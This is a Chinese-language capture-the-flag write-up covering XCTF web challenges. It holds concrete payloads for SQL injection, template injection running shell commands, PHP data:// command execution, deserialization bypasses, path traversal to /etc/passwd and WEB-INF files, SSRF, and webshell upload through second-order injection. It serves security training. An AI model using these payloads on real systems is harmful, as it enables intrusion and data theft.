攻防世界web:攻防世界 (xctf.org.cn)
2023
easytornado
flag.txt:flag文件地址为/fllllllllllllag
welcome.txt:render可联想到模板注入
hints.txt:hash函数为md5(cookie_secret+md5(filename))
- 直接访问…/file?filename=/fllllllllllllag得到Error
- 注入点就在msg参数,测试payload:49,ORZ可能是有过滤
- 获取cookie_secret, payload:·
- md5(‘af48a7b1-5b2c-4a44-9f3b-b821de545130’+md5(‘/fllllllllllllag’))=92d5603dea43b40a2df6717dc15371b0,构造URL:…/file?filename=/fllllllllllllag&filehash=92d5603dea43b40a2df6717dc15371b0
总结:SSTI、Tornado框架、文件包含
*Zhuanxv
页面没有什么有效信息,考虑目录扫描。
dirb [url]
,扫描到/list路径- 访问/list,跳转到后台登录/zhuanxvlogin,尝试登录,返回结果中加载背景图的方式存在文件包含漏洞
- 结合JSESSIONID,猜测其为MVC框架,MVC框架都有web.xml
- 查看
../../WEB-INF/web.xml
,确定其为struts2框架 - 查看
../../WEB-INF/classes/struts.xml
,找到用户登录相关的信息 - 加载对应包:
../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
- 下载.class文件,直接用浏览器访问这个地址可以下载得到bg.jpg,修改为UserLoginAction.class
- 使用jd-gui将class文件反编译为java文件,跟踪登录逻辑:execute->userCheck->userService.loginCheck
- 下载
../../WEB-INF/classes/com/cuitctf/service/UserService.class
,没有函数的具体逻辑
- 查看
../../WEB-INF/classes/applicationContext.xml
(来自于User.class),找到跟userservice有关的包:UserServiceImpl- 存在user.hbm.xml文件,暴露了flag可能在数据库中(Flag表flag列
- 下载
../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
- 找到loginCheck函数,进一步追踪到UserDao
- 下载
../../WEB-INF/classes/com/cuitctf/dao/UserDao.class
,没有具体函数,根据上一步的经验找到UserDaoImpl- 下载
../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
- 找到最终的登录查询语句
- 下载
- 查看
- 单引号闭合,无报错显示,盲注。sqlmap不行
- UserServiceImpl.class对空格和等号有过滤,解决:用换行符(%0A)替换空格,用大于小于逻辑替换相等逻辑
总结:Java框架结构、class反编译、Hibernate关联映射、SQL注入、hsql?
*ezsqli
SQL语句报错回显,没有直接显示出来,被隐藏了,但是看源码可以看到。是')
闭合
报错注入:uname=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#&passwd=1
查询information_schema出现问题,可能存在过滤
保存请求包到文件login.txt,使用sqlmap可以跑出来:
sqlmap -r login.txt
,默认,可以报错注入、布尔盲注、时间盲注sqlmap -r login.txt --dbs
sqlmap -r login.txt -D security --tables
,存在flag表- 查询列名失败:
unable to retrieve column names for table 'flag' in database 'security'
。原因:无列名
burp手工报错注入结果不全:
无列名注入:
- sqlmap指定布尔盲注进入–sql-shell:
sqlmap -r login.txt -D security -technique B --sql-shell
- 进行子查询
select x.1 from (select 1 union select * from flag)x;
总结:报错注入、information_schema过滤、无列名注入
filemanager
delete一个位置文件爆出绝对路径:/var/www/html/
,看起来还跟mysql有关
上传php文件报错error extension:文件后缀的问题
上传图片成功,获取上传路径/upload/
抓包修改php文件后缀为jpg:上传成功
unbelievable 目录扫描(dirmap)有源码www.tar.gz
源码审计
- common.inc.php对GET/POST/COOKIE请求的参数进行了addslashes处理(为单引号、双引号、反斜杠、NULL前面添加反斜杠进行转义)
- upload.php采用白名单后缀、对文件名进行addslashes处理、然后将文件名及后缀写入数据库
- rename.php,update操作中的oldname是从select结果中获取的,存在二次注入
根据以上逻辑构造filename="',extention='.jpg"
(这个文件内容不重要,主要是为了构造一个extension为空的记录),上传。
update ...set filename='shell.jpg',oldname='',extension='' where...
,数据库中的extension修改为空,此时数据库中的文件为shell.jpg,但是文件系统中的是shell.jpg.jpg- 上传真正的shell,filename=shell.jpg
- rename,此时数据库中更改的第一个文件,文件系统中修改的第二个。
文件 | 数据库中的filename | 数据库中的ext | 文件系统中的filename |
---|---|---|---|
‘,extention=’.jpg | .’,extention=’ | .jpg | ‘,extention=’.jpg |
‘,extention=’.jpg rename后 | shell.jpg | 空 | shell.jpg.jpg |
shell.jpg(文件是否重复根据数据库判断,因此不重复) | shell | .jpg | shell.jpg |
shell.jpg.jpg rename后(oldname为shell.jpg,newname不重要) | shell | 空 | shell.jpg->shell.php |
主打一个数据库与文件系统中的信息差
蚁剑连接http://…../upload/shell.php,flag在根目录下的flag.txt中
总结:目录扫描、文件上传、二次注入
Web_php_include
源码分析:
- 接收hello和page参数
- 过滤
php://
协议 - 文件包含
include
利用file协议查看绝对路径下的文件file:///etc/passwd
,得到www-data(web用户)的路径/var/www/
PHP中支持的协议:文件包含漏洞利用-CSDN博客
由于过滤了php://协议,尝试data://协议实现代码执行
执行系统命令PHP中常见的命令执行函数与代码执行函数_cmd=system()_红烧兔纸的博客-CSDN博客
tips.查看phpinfo中的disable_functions找到没被禁用的函数去尝试命令执行。eg.本题中exec函数被禁用,尝试system函数成功找到flag文件:fl4gisisish3r3.php
执行cat命令读取flag文件:data://text/plain,<?php system("cat fl4gisisish3r3.php"); ?>
没有回显是因为被注释了导致不显示!!查看页面源码可以找到,或者直接抓包。
总结:php伪协议,php命令执行
warmup
查看页面源码,敏感信息泄露 source.php
查看source.php获得新的提示hint.php
查看hint.php获得flag的位置提示,应该是文件名
代码审计source.php,存在文件包含include。但是存在一些过滤:
1 | $_page = urldecode($page); |
include特性:即使是不规范的路径也能尝试解析。如果按照include_path+传递的路径找不到这个文件,就会检测点号作为相对路径的起始值。
构造?file=hint.php?../../../../../../../../etc/passwd
,hint.php?
用来绕过白名单,include找不到hint.php?../../../../../../../../etc/passwd
,所以从点号开始解析相对路径../../../../../../../../etc/passwd
,利用路径遍历。
已知flag文件名,一般猜测在当前目录下或者父目录下或者根目录下。
总结:php代码审计、白名单、文件包含、目录遍历
Cat
一眼SSRF(刷题还是有用的),主要是场景太熟悉了。
直接尝试127.0.0.1,可知是执行了ping操作,根据响应头判断操作系统为Ubuntu。
尝试利用管道符,报错Invalid URL。利用burp intruder模块FUZZ测试过滤了哪些关键符号,根据测试结果,有用的符号为@(原题目的提示信息讲了@的用法
宽字节测试:%df,得到编码报错信息。(不知道为啥,就当是经验吧)将html部分单独保存为.html文件方便查看,得到django的一些配置信息,所以web服务器调用了本地的django服务。django项目的绝对路径为/opt/api
继续搜索报错信息中的敏感信息,找到sqlite数据库文件地址
利用@读取数据库文件url=@/opt/api/database.sqlite3
(php中curl+@+文件名可以读取文件) ,查找结果可以得到flag(tips.可以直接搜索ctf或flag查找),结果是WHCTF{yoooo_Such_A_G00D_@},不知道为啥没有A
总结:ssrf、命令注入fuzz测试、编码报错?、django、sqlite
unserialize3
__wakeup
魔术方法是unserialize
的触发方法,猜测与反序列化有关,新建一个xctf对象,获取序列化后的格式:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
(object:对象类名长度:类名:对象属性个数:{string:属性名长度:属性名;string:属性值长度:属性值})
本题中wakeup中存在exit,猜测是绕过exit成功执行反序列化操作。绕过方法:修改属性个数 ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
(序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。)
总结:php反序列化、wakeup绕过
supersqli
页面源码提示:sqlmap是没有灵魂的……好的,开始手工注入。
单引号报错:?inject=1'
,可知是单引号闭合
尝试报错注入:?inject=1'' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
,得知过滤条件
大小写、注释、双写都绕不过……好的,直接用sqlmap能跑出东西,但是是假的!!!,参考网上教程:
其实是单引号闭合!!报错内容最外面两个单引号不是查询内容里面的
确定回显的列数:order by
采用堆叠查询:
- show databases;与sqlmap结果不一样
- show tables from
supersqli
;- show columns from
1919810931114514
;(omg,这个NO的意思不是yesno) - show columns from
words
;
- show columns from
- show tables from
ctftraining
;- use ctftraining;show columns from
FLAG_TABLE
;
- use ctftraining;show columns from
- show tables from
读取数据库中内容,三个方法:https://blog.csdn.net/rfrder/article/details/108583338
handler查询
1
0';handler `1919810931114514` open;handler `1919810931114514` read first;
预编译语句中使用concat绕过过滤
1
0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#
根据表结构可知inject参数读取的是words表,因此查询words表的内容是合法操作(开发的源代码里就是对words表的select行为)。
- 将words表改名为其他
- 将1919810931114514改名为words,将flag列改为id(inject参数查询的where会判断id列
- 构造恒为真的查询语句
1
21';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
1' or 1=1--+
奇怪的问题增加了,注释符一会儿–+行,一会儿#行
总结:sql注入、绕过关键字过滤、
*Triangle
审计前端代码,存在login函数,存在secret.js,汇编???ARM仿真
涉及逆向,将寄存器的操作转为代码实现,再见:cry:
总结:unicorn、逆向
SSRF Me
题目和URL输入框都提示了SSRF,主要观察captcha,不然会报错Wrong Captcha
reset:在后端修改了captcha,然后浏览器重新对index发起请求,将其md5值的末尾6位返回到前端。
captcha的提示是后端判断逻辑,爆破得到一个captcha的md5值的末尾6位满足那个要求就行!
1 |
|
访问127.0.0.1,访问到的应该就是本页面,所以回显后出现了两个一样的。
成功执行一次后会导致验证码更改……每尝试一次就要改一次?
使用file协议读取文件,尝试读取根目录下的flag,显示hacker,看来是有东西的呀(一切靠猜,经验UP
双重URL编码绕过:
总结:SSRF、验证码爆破、双重URL编码
ics-05
把能点的按钮都点一下,只有设备维护中心能打开,显示数据接口请求异常,猜测应该有个API请求,重新加载抓包得到/somrthing.json请求,404。
题目描述中提到了这个系统存在后门,目录扫描一下,dirb扫到/server-status(403),还有目录,有些静态目录里面可能存在一些东西
存在js和css目录,这次的没什么用。
page参数可以回显(index.php的参数,刚点进维护中心的时候会出现),猜测有文件包含(???挺秃然)
利用php://filter读取index.php的源码
base64解码index.php,提取php代码
1 |
|
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码,执行ls命令(注意一些特殊字符需要url编码),找到一些可疑文件
深入s3chahahaDir文件夹找到flag.php,cat内容得到flag
总结:文件包含、preg_replace() rce漏洞
BadProgrammer
看起来是个UI组件库,啥也点不了,dirmap和dirb扫描了以下无处下手……
目录扫描要多尝试工具……dirsearch能扫到static../
app.js中提示flag的路由
利用burp修改请求方式和路径,提示flag.txt
app.js中存在fileupload,看着像突破点(又开始猜了),搜索express-fileupload的漏洞,找到一个cve
CVE-2020-7699 原理:CVE-2020-7699漏洞分析 - FreeBuf网络安全行业门户,没懂这题在哪里调用了有缺陷的函数。
要求1:express-fileupload<1.1.8,查看package.json可知满足要求。
要求2:parseNested为true,查看app.js,满足要求
构造POST请求和body内容,内容为上传文件的格式,实现远程命令执行,由于没有直接的回显,选择将flag.txt文件移动到可以直接访问的路径
总结:目录扫描、原型链污染、express-fileupload
主要是学习发现漏洞的思路,原理以后再说……
NewCenter
搜索框单引号会报错500,可确定存在sql注入,有回显,用union注入。
search=1' order by 1#
,通过order by判断列数,当试到4时报500错误,可知应该是返回3列search=-1' union select 1,2,3#
,判断回显的位置为2,3search=-1' union select 1,database(),3#
,查当前数据库:newssearch=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
,查所有数据库search=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news'#
,查news数据库的所有表:news,secret_tablesearch=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table'#
,查secret_table表的列名:id,fl4gsearch=-1' union select 1,id,fl4g from secret_table#
,读取flag
总结:sql注入
xff_referer
题目提示:伪造xff(X-Forwarded-For)和referer
限定IP:修改X-Forwarded-For(只是这题的IP检测用的xxf,不适用所有情况
限定来自什么:修改Referer(用hackbar、burp等修改请求头可得
总结:xxf和referer伪造
weak_auth
题目提示:随手设了个密码,可能有弱口令?
随便登录一下,提示please login as admin
用admin作为用户名登录,得到提示maybe you need a dictionary,妥妥的弱密码,找个弱口令字典爆破一下
burp自带的password字典居然跑不出来,自己找个top1000字典,筛选长度可以判断是否登录成功
*wzsc_文件上传
尝试上传正常图片和php一句话木马,无任何回显……
尝试访问/upload/居然成功了(实在不行目录扫描也可以扫出来),可以看到正常图片上传成功而php没有。
尝试一些常见的后缀和不可识别的后缀,感觉是文件后缀白名单过滤。解析漏洞用不了。
随便搜搜apache文件上传漏洞竟然能搜到cve!CVE-2017-15715,打扰了,适用于黑名单过滤。
fuzz试试:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/uploadFileExtDicts/php_upload_fuzz.txt 失败
别人有源码审计:cry:
总结:条件竞争
-file_include
根据源码提示尝试用filename参数读取文件
利用php伪协议查看check.php的源码?filename=php://filter/read=convert.base64-encode/resource=./check.php
,出现报错信息do not hack,看来是有东西的。可能是对某个部分进行了过滤,逐步删除各关键词进行测试,应该是对read=convert.base64-encode
这里有过滤。
使用php://input和data协议均无回显。
爆破convert支持的其他协议
总结:文件包含、php伪协议
php_rce
大大的logo:ThinkPHP V5.0,再加上题目名称提示rce直接搜这个框架的rce。thinkphp 5-rce版本漏洞复现(超详细版)_thinkphp5漏洞扫描_徐长卿学网安的博客-CSDN博客
直接实现命令执行
猜测flag在根目录下(也可以写入webshell连接后去翻文件)
总结:thinkphp5 rce(原理不懂,但看起来很好用)
-ez_curl
审计页面php源码:需要了解一下关联数组
- 需要POST,body为json数据,有headers和params两个参数
- headers中不能有
admin:true
- params与既有的url进行拼接,向本地3000端口的服务发起请求
审计附件中的app.js:就是3000端口的nodejs服务
- 需要admin参数不为false
- headers中要有admin为true
绕过:
- 由于express的parameterLimit默认为1000,即参数最大限制为1000,写脚本请求加上1000个参数就能成功把拼接的&admin=flase挤掉,
- headers判断时,header name的第一个字符为空格会被判断为非法字符,但是nodejs会将
{"headers": ["admin: x", " true: y"]}
解析为{"admin": "x true y"}
(true前面有个空格)
总结:HTTP header绕过、URL参数绕过
Web_php_unserialize
审计页面源码:
- var参数要进行base64加密
- 提示flag在fl4g.php
- 会正则判断变量
/[oc]:\d+:/i
(控制对象的序列化数据就是O开头的…… - 会执行反序列化操作,会触发wakeup函数,会判断file参数是否合法
绕过:
- 绕过正则:将
O:4
替换为O:+4
- 绕过wakeup:在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object(对象)的实际个数和声明的个数不等时,wakeup就会被略过不执行。
1 | $var = "fl4g.php"; |
总计:php反序列化、wakeup漏洞、
-FlatScience
目录扫描,存在robots.txt,查看得到隐藏路径:/login.php和/admin.php。
login.php页面源码中有提示隐藏参数debug
尝试get、post、debug、debug-Parameter,当get请求login.php并传参debug时会返回源码,得到数据库fancy.db和sql查询方式
尝试sql注入,单引号闭合,成功登录(通过是否有set-cookie判断)sqlite3的注释符与mysql不太一样,是--
和/**/
order by判断列数,有报错显示应该是2列,还有绝对路径
union注入查看回显位置→第二列回显到cookie中(结果为url编码
sqlite中sqlite_master库存储数据库信息,类似mysql的information_schema)
查询数据库名name字段:usr=-1' union select 2,group_concat(name) from sqlite_master--&pw=
,得到Users表
查看建表语句sql字段:usr=-1' union select 2,group_concat(sql) from sqlite_master--
,得到User表的列名:id,name,password,hint
查询hint字段的内容:usr=-1' union select 2,group_concat(hint) from Users--
,解码得到 my fav word in my fav paper?!,my love is…?,the password is password
看到paper联想到最开始index.html的一堆pdf,密码是pdf中的某个单词,提取单词进行sha1爆破,sha1加密的key在login.php源码中有
总结:sql注入、sqlite3
easy_web
场景:字符规范器,将具有格式的字符转为普通utf-8编码
在参数中随便加个单引号竟然发现了报错信息
对特殊符号进行模糊测试,发现过滤了大括号和引号,会不会是模板注入?
观察响应头,存在Server: Werkzeug/2.0.2 Python/3.7.12
,看到python更加觉得是SSTI了,搜一搜Werkzeug模板注入,Flask 框架就是以Werkzeug 为基础开发,但是绕不过大括号过滤……
联想到字符规范,去找规范后能变成括号的字符:︷︸,符号大全-特殊符号-特殊符号大全 (fhdq.net)
用算术运算测试,得到结果
绕过引号过滤:使用全角标点
查看根目录下的flag,payloadstr=︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸
总结:模板注入
*Background_Management_System
发起请求时端口会被重定向到62126,需要抓包修改,不然一直访问失败。(或许需要clear cache一下?
提示:数据库,有过滤(猜一个二次注入
登录登不进,确实过滤了很多字符,应该是双引号闭合。先注册一个账号(admin已被注册),注册后成功登录后台,用户个人中心有提示:看来需要登录admin
cookie中有username值,记一下,可能有用。
修改密码,输入单引号get提示,看来有注入!
并没有判断旧密码是否正确
目录扫描,不一定是网站根目录开始,根据url的规律,猜测后台的根目录在/xinan/public/。(但我并没有扫出来)
未完待续……
总结:目录扫描、代码审计、二次注入、ssrf、gopher
ics-06
题目提示:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
也只有云平台报表中心能点开,有一个id参数,抓包会发现还有一个page参数的请求。
爆破id(啊这……)。在burp-intruder-payload选择数值。
*ics-07
题目提示:工控云管理系统项目管理页面解析漏洞
点击项目管理页面会发起参数为page=flag.php的请求
点击view-source审计源码:
- page参数不能控制include的内容
- 如果是admin用户,可以上传文件
- 数据库查询部分要求:
- id不为1,且最后一位是9
- 数据库为cetc007,查询的表为user,列为id和user
- mysql_real_escape_string,转义特殊字符,宽字节注入
- 单引号闭合
暂时连不上数据库啊,未完待续……
*ics-02
题目提示:文档中心页面
paper处的URL提示有SSRF,温馨提示:文档里可以找到有效信息。下载下来是个download.php,但是通过内容or报错信息可知应该是个pdf
form表单有action:secure/default.php,404
改download.php为pdf后缀,打开查看详细内容。突然想到了pdf隐写?
全是SSRF漏洞的讲解,找不到东西。
啊啊啊啊啊啊啊啊又是忘记目录扫描了:downloads和secret
secret目录下存在secret.php和secret_debug.php。
secret.php的表单请求中有个隐藏参数s,爆破s的值,s=3时出现新页面:
但是没找着有什么用哇……
再看看secret_debug.php,限制IP,想到了前面的ssrf,还是不知道咋用……
dl=http://127.0.0.1/secure/secure_debug.php?s=3&txtfirst_name=1&txtmiddle_name=2&txtLast_name=3&txtname_suffix=4&txtdob=5&txtdl_nmbr=6&txtRetypeDL=7&btnContinue2=Continue&
这里的思路应该时secure_debug.php执行流程与secure.php一样,s=3时是一个注册的操作。由于&在get传参时属于特殊字符,需要url编码一下。为了防止后端下载拼接.pdf后缀时影响最后一个参数,在末尾添加一个&符号。至于127.0.0.1的端口,盲猜80了。
执行成功,但是攻防世界的数据库好像挂了
*bug
首先要登录,随便尝试一下得到提示’User does not exist’,看起来可以用户枚举。注入不行。
看看注册,注册成功,但是登录还是显示用户不存在
看看忘记密码,一直显示something wrong,step参数好像可以控制重置密码的流程
终于记得目录扫描,有template/目录和admin.php
admin.php:Access Denied!应该需要登录
攻防世界的数据库可能有问题了,换个靶场……